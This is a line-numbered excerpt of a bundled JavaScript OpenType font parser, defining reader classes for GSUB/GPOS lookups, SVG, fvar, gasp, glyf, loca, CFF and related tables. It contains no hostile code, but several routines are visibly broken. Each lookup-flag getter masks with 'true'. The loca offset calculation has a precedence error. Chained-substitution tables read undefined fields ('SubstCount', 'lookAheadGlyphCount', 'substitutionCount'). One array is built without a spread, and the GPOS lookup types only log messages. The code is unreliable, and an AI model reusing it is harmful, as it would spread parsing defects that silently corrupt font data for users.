19086 this.scriptCount = p22.uint16;
19087 this.scriptRecords = [...new Array(this.scriptCount)].map(
19088 (_) => new ScriptRecord(p22)
19089 );
19090 }
19091 };
19092 var ScriptRecord = class {
19093 constructor(p22) {
19094 this.scriptTag = p22.tag;
19095 this.scriptOffset = p22.Offset16;
19096 }
19097 };
19098 var ScriptTable = class extends ParsedData {
19099 constructor(p22) {
19100 super(p22);
19101 this.defaultLangSys = p22.Offset16;
19102 this.langSysCount = p22.uint16;
19103 this.langSysRecords = [...new Array(this.langSysCount)].map(
19104 (_) => new LangSysRecord(p22)
19105 );
19106 }
19107 };
19108 var LangSysRecord = class {
19109 constructor(p22) {
19110 this.langSysTag = p22.tag;
19111 this.langSysOffset = p22.Offset16;
19112 }
19113 };
19114 var LangSysTable = class {
19115 constructor(p22) {
19116 this.lookupOrder = p22.Offset16;
19117 this.requiredFeatureIndex = p22.uint16;
19118 this.featureIndexCount = p22.uint16;
19119 this.featureIndices = [...new Array(this.featureIndexCount)].map(
19120 (_) => p22.uint16
19121 );
19122 }
19123 };
19124 var FeatureList = class extends ParsedData {
19125 static EMPTY = { featureCount: 0, featureRecords: [] };
19126 constructor(p22) {
19127 super(p22);
19128 this.featureCount = p22.uint16;
19129 this.featureRecords = [...new Array(this.featureCount)].map(
19130 (_) => new FeatureRecord(p22)
19131 );
19132 }
19133 };
19134 var FeatureRecord = class {
19135 constructor(p22) {
19136 this.featureTag = p22.tag;
19137 this.featureOffset = p22.Offset16;
19138 }
19139 };
19140 var FeatureTable = class extends ParsedData {
19141 constructor(p22) {
19142 super(p22);
19143 this.featureParams = p22.Offset16;
19144 this.lookupIndexCount = p22.uint16;
19145 this.lookupListIndices = [...new Array(this.lookupIndexCount)].map(
19146 (_) => p22.uint16
19147 );
19148 }
19149 getFeatureParams() {
19150 if (this.featureParams > 0) {
19151 const p22 = this.parser;
19152 p22.currentPosition = this.start + this.featureParams;
19153 const tag = this.featureTag;
19154 if (tag === `size`) return new Size(p22);
19155 if (tag.startsWith(`cc`)) return new CharacterVariant(p22);
19156 if (tag.startsWith(`ss`)) return new StylisticSet(p22);
19157 }
19158 }
19159 };
19160 var CharacterVariant = class {
19161 constructor(p22) {
19162 this.format = p22.uint16;
19163 this.featUiLabelNameId = p22.uint16;
19164 this.featUiTooltipTextNameId = p22.uint16;
19165 this.sampleTextNameId = p22.uint16;
19166 this.numNamedParameters = p22.uint16;
19167 this.firstParamUiLabelNameId = p22.uint16;
19168 this.charCount = p22.uint16;
19169 this.character = [...new Array(this.charCount)].map(
19170 (_) => p22.uint24
19171 );
19172 }
19173 };
19174 var Size = class {
19175 constructor(p22) {
19176 this.designSize = p22.uint16;
19177 this.subfamilyIdentifier = p22.uint16;
19178 this.subfamilyNameID = p22.uint16;
19179 this.smallEnd = p22.uint16;
19180 this.largeEnd = p22.uint16;
19181 }
19182 };
19183 var StylisticSet = class {
19184 constructor(p22) {
19185 this.version = p22.uint16;
19186 this.UINameID = p22.uint16;
19187 }
19188 };
19189 function undoCoverageOffsetParsing(instance) {
19190 instance.parser.currentPosition -= 2;
19191 delete instance.coverageOffset;
19192 delete instance.getCoverageTable;
19193 }
19194 var LookupType$1 = class extends ParsedData {
19195 constructor(p22) {
19196 super(p22);
19197 this.substFormat = p22.uint16;
19198 this.coverageOffset = p22.Offset16;
19199 }
19200 getCoverageTable() {
19201 let p22 = this.parser;
19202 p22.currentPosition = this.start + this.coverageOffset;
19203 return new CoverageTable(p22);
19204 }
19205 };
19206 var SubstLookupRecord = class {
19207 constructor(p22) {
19208 this.glyphSequenceIndex = p22.uint16;
19209 this.lookupListIndex = p22.uint16;
19210 }
19211 };
19212 var LookupType1$1 = class extends LookupType$1 {
19213 constructor(p22) {
19214 super(p22);
19215 this.deltaGlyphID = p22.int16;
19216 }
19217 };
19218 var LookupType2$1 = class extends LookupType$1 {
19219 constructor(p22) {
19220 super(p22);
19221 this.sequenceCount = p22.uint16;
19222 this.sequenceOffsets = [...new Array(this.sequenceCount)].map(
19223 (_) => p22.Offset16
19224 );
19225 }
19226 getSequence(index) {
19227 let p22 = this.parser;
19228 p22.currentPosition = this.start + this.sequenceOffsets[index];
19229 return new SequenceTable(p22);
19230 }
19231 };
19232 var SequenceTable = class {
19233 constructor(p22) {
19234 this.glyphCount = p22.uint16;
19235 this.substituteGlyphIDs = [...new Array(this.glyphCount)].map(
19236 (_) => p22.uint16
19237 );
19238 }
19239 };
19240 var LookupType3$1 = class extends LookupType$1 {
19241 constructor(p22) {
19242 super(p22);
19243 this.alternateSetCount = p22.uint16;
19244 this.alternateSetOffsets = [
19245 ...new Array(this.alternateSetCount)
19246 ].map((_) => p22.Offset16);
19247 }
19248 getAlternateSet(index) {
19249 let p22 = this.parser;
19250 p22.currentPosition = this.start + this.alternateSetOffsets[index];
19251 return new AlternateSetTable(p22);
19252 }
19253 };
19254 var AlternateSetTable = class {
19255 constructor(p22) {
19256 this.glyphCount = p22.uint16;
19257 this.alternateGlyphIDs = [...new Array(this.glyphCount)].map(
19258 (_) => p22.uint16
19259 );
19260 }
19261 };
19262 var LookupType4$1 = class extends LookupType$1 {
19263 constructor(p22) {
19264 super(p22);
19265 this.ligatureSetCount = p22.uint16;
19266 this.ligatureSetOffsets = [...new Array(this.ligatureSetCount)].map(
19267 (_) => p22.Offset16
19268 );
19269 }
19270 getLigatureSet(index) {
19271 let p22 = this.parser;
19272 p22.currentPosition = this.start + this.ligatureSetOffsets[index];
19273 return new LigatureSetTable(p22);
19274 }
19275 };
19276 var LigatureSetTable = class extends ParsedData {
19277 constructor(p22) {
19278 super(p22);
19279 this.ligatureCount = p22.uint16;
19280 this.ligatureOffsets = [...new Array(this.ligatureCount)].map(
19281 (_) => p22.Offset16
19282 );
19283 }
19284 getLigature(index) {
19285 let p22 = this.parser;
19286 p22.currentPosition = this.start + this.ligatureOffsets[index];
19287 return new LigatureTable(p22);
19288 }
19289 };
19290 var LigatureTable = class {
19291 constructor(p22) {
19292 this.ligatureGlyph = p22.uint16;
19293 this.componentCount = p22.uint16;
19294 this.componentGlyphIDs = [
19295 ...new Array(this.componentCount - 1)
19296 ].map((_) => p22.uint16);
19297 }
19298 };
19299 var LookupType5$1 = class extends LookupType$1 {
19300 constructor(p22) {
19301 super(p22);
19302 if (this.substFormat === 1) {
19303 this.subRuleSetCount = p22.uint16;
19304 this.subRuleSetOffsets = [
19305 ...new Array(this.subRuleSetCount)
19306 ].map((_) => p22.Offset16);
19307 }
19308 if (this.substFormat === 2) {
19309 this.classDefOffset = p22.Offset16;
19310 this.subClassSetCount = p22.uint16;
19311 this.subClassSetOffsets = [
19312 ...new Array(this.subClassSetCount)
19313 ].map((_) => p22.Offset16);
19314 }
19315 if (this.substFormat === 3) {
19316 undoCoverageOffsetParsing(this);
19317 this.glyphCount = p22.uint16;
19318 this.substitutionCount = p22.uint16;
19319 this.coverageOffsets = [...new Array(this.glyphCount)].map(
19320 (_) => p22.Offset16
19321 );
19322 this.substLookupRecords = [
19323 ...new Array(this.substitutionCount)
19324 ].map((_) => new SubstLookupRecord(p22));
19325 }
19326 }
19327 getSubRuleSet(index) {
19328 if (this.substFormat !== 1)
19329 throw new Error(
19330 `lookup type 5.${this.substFormat} has no subrule sets.`
19331 );
19332 let p22 = this.parser;
19333 p22.currentPosition = this.start + this.subRuleSetOffsets[index];
19334 return new SubRuleSetTable(p22);
19335 }
19336 getSubClassSet(index) {
19337 if (this.substFormat !== 2)
19338 throw new Error(
19339 `lookup type 5.${this.substFormat} has no subclass sets.`
19340 );
19341 let p22 = this.parser;
19342 p22.currentPosition = this.start + this.subClassSetOffsets[index];
19343 return new SubClassSetTable(p22);
19344 }
19345 getCoverageTable(index) {
19346 if (this.substFormat !== 3 && !index)
19347 return super.getCoverageTable();
19348 if (!index)
19349 throw new Error(
19350 `lookup type 5.${this.substFormat} requires an coverage table index.`
19351 );
19352 let p22 = this.parser;
19353 p22.currentPosition = this.start + this.coverageOffsets[index];
19354 return new CoverageTable(p22);
19355 }
19356 };
19357 var SubRuleSetTable = class extends ParsedData {
19358 constructor(p22) {
19359 super(p22);
19360 this.subRuleCount = p22.uint16;
19361 this.subRuleOffsets = [...new Array(this.subRuleCount)].map(
19362 (_) => p22.Offset16
19363 );
19364 }
19365 getSubRule(index) {
19366 let p22 = this.parser;
19367 p22.currentPosition = this.start + this.subRuleOffsets[index];
19368 return new SubRuleTable(p22);
19369 }
19370 };
19371 var SubRuleTable = class {
19372 constructor(p22) {
19373 this.glyphCount = p22.uint16;
19374 this.substitutionCount = p22.uint16;
19375 this.inputSequence = [...new Array(this.glyphCount - 1)].map(
19376 (_) => p22.uint16
19377 );
19378 this.substLookupRecords = [
19379 ...new Array(this.substitutionCount)
19380 ].map((_) => new SubstLookupRecord(p22));
19381 }
19382 };
19383 var SubClassSetTable = class extends ParsedData {
19384 constructor(p22) {
19385 super(p22);
19386 this.subClassRuleCount = p22.uint16;
19387 this.subClassRuleOffsets = [
19388 ...new Array(this.subClassRuleCount)
19389 ].map((_) => p22.Offset16);
19390 }
19391 getSubClass(index) {
19392 let p22 = this.parser;
19393 p22.currentPosition = this.start + this.subClassRuleOffsets[index];
19394 return new SubClassRuleTable(p22);
19395 }
19396 };
19397 var SubClassRuleTable = class extends SubRuleTable {
19398 constructor(p22) {
19399 super(p22);
19400 }
19401 };
19402 var LookupType6$1 = class extends LookupType$1 {
19403 constructor(p22) {
19404 super(p22);
19405 if (this.substFormat === 1) {
19406 this.chainSubRuleSetCount = p22.uint16;
19407 this.chainSubRuleSetOffsets = [
19408 ...new Array(this.chainSubRuleSetCount)
19409 ].map((_) => p22.Offset16);
19410 }
19411 if (this.substFormat === 2) {
19412 this.backtrackClassDefOffset = p22.Offset16;
19413 this.inputClassDefOffset = p22.Offset16;
19414 this.lookaheadClassDefOffset = p22.Offset16;
19415 this.chainSubClassSetCount = p22.uint16;
19416 this.chainSubClassSetOffsets = [
19417 ...new Array(this.chainSubClassSetCount)
19418 ].map((_) => p22.Offset16);
19419 }
19420 if (this.substFormat === 3) {
19421 undoCoverageOffsetParsing(this);
19422 this.backtrackGlyphCount = p22.uint16;
19423 this.backtrackCoverageOffsets = [
19424 ...new Array(this.backtrackGlyphCount)
19425 ].map((_) => p22.Offset16);
19426 this.inputGlyphCount = p22.uint16;
19427 this.inputCoverageOffsets = [
19428 ...new Array(this.inputGlyphCount)
19429 ].map((_) => p22.Offset16);
19430 this.lookaheadGlyphCount = p22.uint16;
19431 this.lookaheadCoverageOffsets = [
19432 ...new Array(this.lookaheadGlyphCount)
19433 ].map((_) => p22.Offset16);
19434 this.seqLookupCount = p22.uint16;
19435 this.seqLookupRecords = [
19436 ...new Array(this.substitutionCount)
19437 ].map((_) => new SequenceLookupRecord(p22));
19438 }
19439 }
19440 getChainSubRuleSet(index) {
19441 if (this.substFormat !== 1)
19442 throw new Error(
19443 `lookup type 6.${this.substFormat} has no chainsubrule sets.`
19444 );
19445 let p22 = this.parser;
19446 p22.currentPosition = this.start + this.chainSubRuleSetOffsets[index];
19447 return new ChainSubRuleSetTable(p22);
19448 }
19449 getChainSubClassSet(index) {
19450 if (this.substFormat !== 2)
19451 throw new Error(
19452 `lookup type 6.${this.substFormat} has no chainsubclass sets.`
19453 );
19454 let p22 = this.parser;
19455 p22.currentPosition = this.start + this.chainSubClassSetOffsets[index];
19456 return new ChainSubClassSetTable(p22);
19457 }
19458 getCoverageFromOffset(offset) {
19459 if (this.substFormat !== 3)
19460 throw new Error(
19461 `lookup type 6.${this.substFormat} does not use contextual coverage offsets.`
19462 );
19463 let p22 = this.parser;
19464 p22.currentPosition = this.start + offset;
19465 return new CoverageTable(p22);
19466 }
19467 };
19468 var ChainSubRuleSetTable = class extends ParsedData {
19469 constructor(p22) {
19470 super(p22);
19471 this.chainSubRuleCount = p22.uint16;
19472 this.chainSubRuleOffsets = [
19473 ...new Array(this.chainSubRuleCount)
19474 ].map((_) => p22.Offset16);
19475 }
19476 getSubRule(index) {
19477 let p22 = this.parser;
19478 p22.currentPosition = this.start + this.chainSubRuleOffsets[index];
19479 return new ChainSubRuleTable(p22);
19480 }
19481 };
19482 var ChainSubRuleTable = class {
19483 constructor(p22) {
19484 this.backtrackGlyphCount = p22.uint16;
19485 this.backtrackSequence = [
19486 ...new Array(this.backtrackGlyphCount)
19487 ].map((_) => p22.uint16);
19488 this.inputGlyphCount = p22.uint16;
19489 this.inputSequence = [...new Array(this.inputGlyphCount - 1)].map(
19490 (_) => p22.uint16
19491 );
19492 this.lookaheadGlyphCount = p22.uint16;
19493 this.lookAheadSequence = [
19494 ...new Array(this.lookAheadGlyphCount)
19495 ].map((_) => p22.uint16);
19496 this.substitutionCount = p22.uint16;
19497 this.substLookupRecords = [...new Array(this.SubstCount)].map(
19498 (_) => new SubstLookupRecord(p22)
19499 );
19500 }
19501 };
19502 var ChainSubClassSetTable = class extends ParsedData {
19503 constructor(p22) {
19504 super(p22);
19505 this.chainSubClassRuleCount = p22.uint16;
19506 this.chainSubClassRuleOffsets = [
19507 ...new Array(this.chainSubClassRuleCount)
19508 ].map((_) => p22.Offset16);
19509 }
19510 getSubClass(index) {
19511 let p22 = this.parser;
19512 p22.currentPosition = this.start + this.chainSubRuleOffsets[index];
19513 return new ChainSubClassRuleTable(p22);
19514 }
19515 };
19516 var ChainSubClassRuleTable = class {
19517 constructor(p22) {
19518 this.backtrackGlyphCount = p22.uint16;
19519 this.backtrackSequence = [
19520 ...new Array(this.backtrackGlyphCount)
19521 ].map((_) => p22.uint16);
19522 this.inputGlyphCount = p22.uint16;
19523 this.inputSequence = [...new Array(this.inputGlyphCount - 1)].map(
19524 (_) => p22.uint16
19525 );
19526 this.lookaheadGlyphCount = p22.uint16;
19527 this.lookAheadSequence = [
19528 ...new Array(this.lookAheadGlyphCount)
19529 ].map((_) => p22.uint16);
19530 this.substitutionCount = p22.uint16;
19531 this.substLookupRecords = [
19532 ...new Array(this.substitutionCount)
19533 ].map((_) => new SequenceLookupRecord(p22));
19534 }
19535 };
19536 var SequenceLookupRecord = class extends ParsedData {
19537 constructor(p22) {
19538 super(p22);
19539 this.sequenceIndex = p22.uint16;
19540 this.lookupListIndex = p22.uint16;
19541 }
19542 };
19543 var LookupType7$1 = class extends ParsedData {
19544 constructor(p22) {
19545 super(p22);
19546 this.substFormat = p22.uint16;
19547 this.extensionLookupType = p22.uint16;
19548 this.extensionOffset = p22.Offset32;
19549 }
19550 };
19551 var LookupType8$1 = class extends LookupType$1 {
19552 constructor(p22) {
19553 super(p22);
19554 this.backtrackGlyphCount = p22.uint16;
19555 this.backtrackCoverageOffsets = [
19556 ...new Array(this.backtrackGlyphCount)
19557 ].map((_) => p22.Offset16);
19558 this.lookaheadGlyphCount = p22.uint16;
19559 this.lookaheadCoverageOffsets = [
19560 new Array(this.lookaheadGlyphCount)
19561 ].map((_) => p22.Offset16);
19562 this.glyphCount = p22.uint16;
19563 this.substituteGlyphIDs = [...new Array(this.glyphCount)].map(
19564 (_) => p22.uint16
19565 );
19566 }
19567 };
19568 var GSUBtables = {
19569 buildSubtable: function(type, p22) {
19570 const subtable = new [
19571 void 0,
19572 LookupType1$1,
19573 LookupType2$1,
19574 LookupType3$1,
19575 LookupType4$1,
19576 LookupType5$1,
19577 LookupType6$1,
19578 LookupType7$1,
19579 LookupType8$1
19580 ][type](p22);
19581 subtable.type = type;
19582 return subtable;
19583 }
19584 };
19585 var LookupType = class extends ParsedData {
19586 constructor(p22) {
19587 super(p22);
19588 }
19589 };
19590 var LookupType1 = class extends LookupType {
19591 constructor(p22) {
19592 super(p22);
19593 console.log(`lookup type 1`);
19594 }
19595 };
19596 var LookupType2 = class extends LookupType {
19597 constructor(p22) {
19598 super(p22);
19599 console.log(`lookup type 2`);
19600 }
19601 };
19602 var LookupType3 = class extends LookupType {
19603 constructor(p22) {
19604 super(p22);
19605 console.log(`lookup type 3`);
19606 }
19607 };
19608 var LookupType4 = class extends LookupType {
19609 constructor(p22) {
19610 super(p22);
19611 console.log(`lookup type 4`);
19612 }
19613 };
19614 var LookupType5 = class extends LookupType {
19615 constructor(p22) {
19616 super(p22);
19617 console.log(`lookup type 5`);
19618 }
19619 };
19620 var LookupType6 = class extends LookupType {
19621 constructor(p22) {
19622 super(p22);
19623 console.log(`lookup type 6`);
19624 }
19625 };
19626 var LookupType7 = class extends LookupType {
19627 constructor(p22) {
19628 super(p22);
19629 console.log(`lookup type 7`);
19630 }
19631 };
19632 var LookupType8 = class extends LookupType {
19633 constructor(p22) {
19634 super(p22);
19635 console.log(`lookup type 8`);
19636 }
19637 };
19638 var LookupType9 = class extends LookupType {
19639 constructor(p22) {
19640 super(p22);
19641 console.log(`lookup type 9`);
19642 }
19643 };
19644 var GPOStables = {
19645 buildSubtable: function(type, p22) {
19646 const subtable = new [
19647 void 0,
19648 LookupType1,
19649 LookupType2,
19650 LookupType3,
19651 LookupType4,
19652 LookupType5,
19653 LookupType6,
19654 LookupType7,
19655 LookupType8,
19656 LookupType9
19657 ][type](p22);
19658 subtable.type = type;
19659 return subtable;
19660 }
19661 };
19662 var LookupList = class extends ParsedData {
19663 static EMPTY = { lookupCount: 0, lookups: [] };
19664 constructor(p22) {
19665 super(p22);
19666 this.lookupCount = p22.uint16;
19667 this.lookups = [...new Array(this.lookupCount)].map(
19668 (_) => p22.Offset16
19669 );
19670 }
19671 };
19672 var LookupTable = class extends ParsedData {
19673 constructor(p22, type) {
19674 super(p22);
19675 this.ctType = type;
19676 this.lookupType = p22.uint16;
19677 this.lookupFlag = p22.uint16;
19678 this.subTableCount = p22.uint16;
19679 this.subtableOffsets = [...new Array(this.subTableCount)].map(
19680 (_) => p22.Offset16
19681 );
19682 this.markFilteringSet = p22.uint16;
19683 }
19684 get rightToLeft() {
19685 return this.lookupFlag & true;
19686 }
19687 get ignoreBaseGlyphs() {
19688 return this.lookupFlag & true;
19689 }
19690 get ignoreLigatures() {
19691 return this.lookupFlag & true;
19692 }
19693 get ignoreMarks() {
19694 return this.lookupFlag & true;
19695 }
19696 get useMarkFilteringSet() {
19697 return this.lookupFlag & true;
19698 }
19699 get markAttachmentType() {
19700 return this.lookupFlag & true;
19701 }
19702 getSubTable(index) {
19703 const builder = this.ctType === `GSUB` ? GSUBtables : GPOStables;
19704 this.parser.currentPosition = this.start + this.subtableOffsets[index];
19705 return builder.buildSubtable(this.lookupType, this.parser);
19706 }
19707 };
19708 var CommonLayoutTable = class extends SimpleTable {
19709 constructor(dict, dataview, name2) {
19710 const { p: p22, tableStart } = super(dict, dataview, name2);
19711 this.majorVersion = p22.uint16;
19712 this.minorVersion = p22.uint16;
19713 this.scriptListOffset = p22.Offset16;
19714 this.featureListOffset = p22.Offset16;
19715 this.lookupListOffset = p22.Offset16;
19716 if (this.majorVersion === 1 && this.minorVersion === 1) {
19717 this.featureVariationsOffset = p22.Offset32;
19718 }
19719 const no_content = !(this.scriptListOffset || this.featureListOffset || this.lookupListOffset);
19720 lazy$1(this, `scriptList`, () => {
19721 if (no_content) return ScriptList.EMPTY;
19722 p22.currentPosition = tableStart + this.scriptListOffset;
19723 return new ScriptList(p22);
19724 });
19725 lazy$1(this, `featureList`, () => {
19726 if (no_content) return FeatureList.EMPTY;
19727 p22.currentPosition = tableStart + this.featureListOffset;
19728 return new FeatureList(p22);
19729 });
19730 lazy$1(this, `lookupList`, () => {
19731 if (no_content) return LookupList.EMPTY;
19732 p22.currentPosition = tableStart + this.lookupListOffset;
19733 return new LookupList(p22);
19734 });
19735 if (this.featureVariationsOffset) {
19736 lazy$1(this, `featureVariations`, () => {
19737 if (no_content) return FeatureVariations.EMPTY;
19738 p22.currentPosition = tableStart + this.featureVariationsOffset;
19739 return new FeatureVariations(p22);
19740 });
19741 }
19742 }
19743 getSupportedScripts() {
19744 return this.scriptList.scriptRecords.map((r3) => r3.scriptTag);
19745 }
19746 getScriptTable(scriptTag) {
19747 let record = this.scriptList.scriptRecords.find(
19748 (r3) => r3.scriptTag === scriptTag
19749 );
19750 this.parser.currentPosition = this.scriptList.start + record.scriptOffset;
19751 let table = new ScriptTable(this.parser);
19752 table.scriptTag = scriptTag;
19753 return table;
19754 }
19755 ensureScriptTable(arg) {
19756 if (typeof arg === "string") {
19757 return this.getScriptTable(arg);
19758 }
19759 return arg;
19760 }
19761 getSupportedLangSys(scriptTable) {
19762 scriptTable = this.ensureScriptTable(scriptTable);
19763 const hasDefault = scriptTable.defaultLangSys !== 0;
19764 const supported = scriptTable.langSysRecords.map(
19765 (l2) => l2.langSysTag
19766 );
19767 if (hasDefault) supported.unshift(`dflt`);
19768 return supported;
19769 }
19770 getDefaultLangSysTable(scriptTable) {
19771 scriptTable = this.ensureScriptTable(scriptTable);
19772 let offset = scriptTable.defaultLangSys;
19773 if (offset !== 0) {
19774 this.parser.currentPosition = scriptTable.start + offset;
19775 let table = new LangSysTable(this.parser);
19776 table.langSysTag = ``;
19777 table.defaultForScript = scriptTable.scriptTag;
19778 return table;
19779 }
19780 }
19781 getLangSysTable(scriptTable, langSysTag = `dflt`) {
19782 if (langSysTag === `dflt`)
19783 return this.getDefaultLangSysTable(scriptTable);
19784 scriptTable = this.ensureScriptTable(scriptTable);
19785 let record = scriptTable.langSysRecords.find(
19786 (l2) => l2.langSysTag === langSysTag
19787 );
19788 this.parser.currentPosition = scriptTable.start + record.langSysOffset;
19789 let table = new LangSysTable(this.parser);
19790 table.langSysTag = langSysTag;
19791 return table;
19792 }
19793 getFeatures(langSysTable) {
19794 return langSysTable.featureIndices.map(
19795 (index) => this.getFeature(index)
19796 );
19797 }
19798 getFeature(indexOrTag) {
19799 let record;
19800 if (parseInt(indexOrTag) == indexOrTag) {
19801 record = this.featureList.featureRecords[indexOrTag];
19802 } else {
19803 record = this.featureList.featureRecords.find(
19804 (f2) => f2.featureTag === indexOrTag
19805 );
19806 }
19807 if (!record) return;
19808 this.parser.currentPosition = this.featureList.start + record.featureOffset;
19809 let table = new FeatureTable(this.parser);
19810 table.featureTag = record.featureTag;
19811 return table;
19812 }
19813 getLookups(featureTable) {
19814 return featureTable.lookupListIndices.map(
19815 (index) => this.getLookup(index)
19816 );
19817 }
19818 getLookup(lookupIndex, type) {
19819 let lookupOffset = this.lookupList.lookups[lookupIndex];
19820 this.parser.currentPosition = this.lookupList.start + lookupOffset;
19821 return new LookupTable(this.parser, type);
19822 }
19823 };
19824 var GSUB = class extends CommonLayoutTable {
19825 constructor(dict, dataview) {
19826 super(dict, dataview, `GSUB`);
19827 }
19828 getLookup(lookupIndex) {
19829 return super.getLookup(lookupIndex, `GSUB`);
19830 }
19831 };
19832 var GSUB$1 = Object.freeze({ __proto__: null, GSUB });
19833 var GPOS = class extends CommonLayoutTable {
19834 constructor(dict, dataview) {
19835 super(dict, dataview, `GPOS`);
19836 }
19837 getLookup(lookupIndex) {
19838 return super.getLookup(lookupIndex, `GPOS`);
19839 }
19840 };
19841 var GPOS$1 = Object.freeze({ __proto__: null, GPOS });
19842 var SVG67 = class extends SimpleTable {
19843 constructor(dict, dataview) {
19844 const { p: p22 } = super(dict, dataview);
19845 this.version = p22.uint16;
19846 this.offsetToSVGDocumentList = p22.Offset32;
19847 p22.currentPosition = this.tableStart + this.offsetToSVGDocumentList;
19848 this.documentList = new SVGDocumentList(p22);
19849 }
19850 };
19851 var SVGDocumentList = class extends ParsedData {
19852 constructor(p22) {
19853 super(p22);
19854 this.numEntries = p22.uint16;
19855 this.documentRecords = [...new Array(this.numEntries)].map(
19856 (_) => new SVGDocumentRecord(p22)
19857 );
19858 }
19859 getDocument(documentID) {
19860 let record = this.documentRecords[documentID];
19861 if (!record) return "";
19862 let offset = this.start + record.svgDocOffset;
19863 this.parser.currentPosition = offset;
19864 return this.parser.readBytes(record.svgDocLength);
19865 }
19866 getDocumentForGlyph(glyphID) {
19867 let id = this.documentRecords.findIndex(
19868 (d2) => d2.startGlyphID <= glyphID && glyphID <= d2.endGlyphID
19869 );
19870 if (id === -1) return "";
19871 return this.getDocument(id);
19872 }
19873 };
19874 var SVGDocumentRecord = class {
19875 constructor(p22) {
19876 this.startGlyphID = p22.uint16;
19877 this.endGlyphID = p22.uint16;
19878 this.svgDocOffset = p22.Offset32;
19879 this.svgDocLength = p22.uint32;
19880 }
19881 };
19882 var SVG$1 = Object.freeze({ __proto__: null, SVG: SVG67 });
19883 var fvar = class extends SimpleTable {
19884 constructor(dict, dataview) {
19885 const { p: p22 } = super(dict, dataview);
19886 this.majorVersion = p22.uint16;
19887 this.minorVersion = p22.uint16;
19888 this.axesArrayOffset = p22.Offset16;
19889 p22.uint16;
19890 this.axisCount = p22.uint16;
19891 this.axisSize = p22.uint16;
19892 this.instanceCount = p22.uint16;
19893 this.instanceSize = p22.uint16;
19894 const axisStart = this.tableStart + this.axesArrayOffset;
19895 lazy$1(this, `axes`, () => {
19896 p22.currentPosition = axisStart;
19897 return [...new Array(this.axisCount)].map(
19898 (_) => new VariationAxisRecord(p22)
19899 );
19900 });
19901 const instanceStart = axisStart + this.axisCount * this.axisSize;
19902 lazy$1(this, `instances`, () => {
19903 let instances = [];
19904 for (let i2 = 0; i2 < this.instanceCount; i2++) {
19905 p22.currentPosition = instanceStart + i2 * this.instanceSize;
19906 instances.push(
19907 new InstanceRecord(p22, this.axisCount, this.instanceSize)
19908 );
19909 }
19910 return instances;
19911 });
19912 }
19913 getSupportedAxes() {
19914 return this.axes.map((a2) => a2.tag);
19915 }
19916 getAxis(name2) {
19917 return this.axes.find((a2) => a2.tag === name2);
19918 }
19919 };
19920 var VariationAxisRecord = class {
19921 constructor(p22) {
19922 this.tag = p22.tag;
19923 this.minValue = p22.fixed;
19924 this.defaultValue = p22.fixed;
19925 this.maxValue = p22.fixed;
19926 this.flags = p22.flags(16);
19927 this.axisNameID = p22.uint16;
19928 }
19929 };
19930 var InstanceRecord = class {
19931 constructor(p22, axisCount, size) {
19932 let start2 = p22.currentPosition;
19933 this.subfamilyNameID = p22.uint16;
19934 p22.uint16;
19935 this.coordinates = [...new Array(axisCount)].map(
19936 (_) => p22.fixed
19937 );
19938 if (p22.currentPosition - start2 < size) {
19939 this.postScriptNameID = p22.uint16;
19940 }
19941 }
19942 };
19943 var fvar$1 = Object.freeze({ __proto__: null, fvar });
19944 var cvt = class extends SimpleTable {
19945 constructor(dict, dataview) {
19946 const { p: p22 } = super(dict, dataview);
19947 const n2 = dict.length / 2;
19948 lazy$1(
19949 this,
19950 `items`,
19951 () => [...new Array(n2)].map((_) => p22.fword)
19952 );
19953 }
19954 };
19955 var cvt$1 = Object.freeze({ __proto__: null, cvt });
19956 var fpgm = class extends SimpleTable {
19957 constructor(dict, dataview) {
19958 const { p: p22 } = super(dict, dataview);
19959 lazy$1(
19960 this,
19961 `instructions`,
19962 () => [...new Array(dict.length)].map((_) => p22.uint8)
19963 );
19964 }
19965 };
19966 var fpgm$1 = Object.freeze({ __proto__: null, fpgm });
19967 var gasp = class extends SimpleTable {
19968 constructor(dict, dataview) {
19969 const { p: p22 } = super(dict, dataview);
19970 this.version = p22.uint16;
19971 this.numRanges = p22.uint16;
19972 const getter = () => [...new Array(this.numRanges)].map(
19973 (_) => new GASPRange(p22)
19974 );
19975 lazy$1(this, `gaspRanges`, getter);
19976 }
19977 };
19978 var GASPRange = class {
19979 constructor(p22) {
19980 this.rangeMaxPPEM = p22.uint16;
19981 this.rangeGaspBehavior = p22.uint16;
19982 }
19983 };
19984 var gasp$1 = Object.freeze({ __proto__: null, gasp });
19985 var glyf = class extends SimpleTable {
19986 constructor(dict, dataview) {
19987 super(dict, dataview);
19988 }
19989 getGlyphData(offset, length) {
19990 this.parser.currentPosition = this.tableStart + offset;
19991 return this.parser.readBytes(length);
19992 }
19993 };
19994 var glyf$1 = Object.freeze({ __proto__: null, glyf });
19995 var loca = class extends SimpleTable {
19996 constructor(dict, dataview, tables) {
19997 const { p: p22 } = super(dict, dataview);
19998 const n2 = tables.maxp.numGlyphs + 1;
19999 if (tables.head.indexToLocFormat === 0) {
20000 this.x2 = true;
20001 lazy$1(
20002 this,
20003 `offsets`,
20004 () => [...new Array(n2)].map((_) => p22.Offset16)
20005 );
20006 } else {
20007 lazy$1(
20008 this,
20009 `offsets`,
20010 () => [...new Array(n2)].map((_) => p22.Offset32)
20011 );
20012 }
20013 }
20014 getGlyphDataOffsetAndLength(glyphID) {
20015 let offset = this.offsets[glyphID] * this.x2 ? 2 : 1;
20016 let nextOffset = this.offsets[glyphID + 1] * this.x2 ? 2 : 1;
20017 return { offset, length: nextOffset - offset };
20018 }
20019 };
20020 var loca$1 = Object.freeze({ __proto__: null, loca });
20021 var prep = class extends SimpleTable {
20022 constructor(dict, dataview) {
20023 const { p: p22 } = super(dict, dataview);
20024 lazy$1(
20025 this,
20026 `instructions`,
20027 () => [...new Array(dict.length)].map((_) => p22.uint8)
20028 );
20029 }
20030 };
20031 var prep$1 = Object.freeze({ __proto__: null, prep });
20032 var CFF = class extends SimpleTable {
20033 constructor(dict, dataview) {
20034 const { p: p22 } = super(dict, dataview);
20035 lazy$1(this, `data`, () => p22.readBytes());
20036 }
20037 };
20038 var CFF$1 = Object.freeze({ __proto__: null, CFF });
20039 var CFF2 = class extends SimpleTable {
20040 constructor(dict, dataview) {
20041 const { p: p22 } = super(dict, dataview);
20042 lazy$1(this, `data`, () => p22.readBytes());
20043 }
20044 };
20045 var CFF2$1 = Object.freeze({ __proto__: null, CFF2 });
20046 var VORG = class extends SimpleTable {
20047 constructor(dict, dataview) {
20048 const { p: p22 } = super(dict, dataview);
20049 this.majorVersion = p22.uint16;
20050 this.minorVersion = p22.uint16;
20051 this.defaultVertOriginY = p22.int16;
20052 this.numVertOriginYMetrics = p22.uint16;
20053 lazy$1(
20054 this,
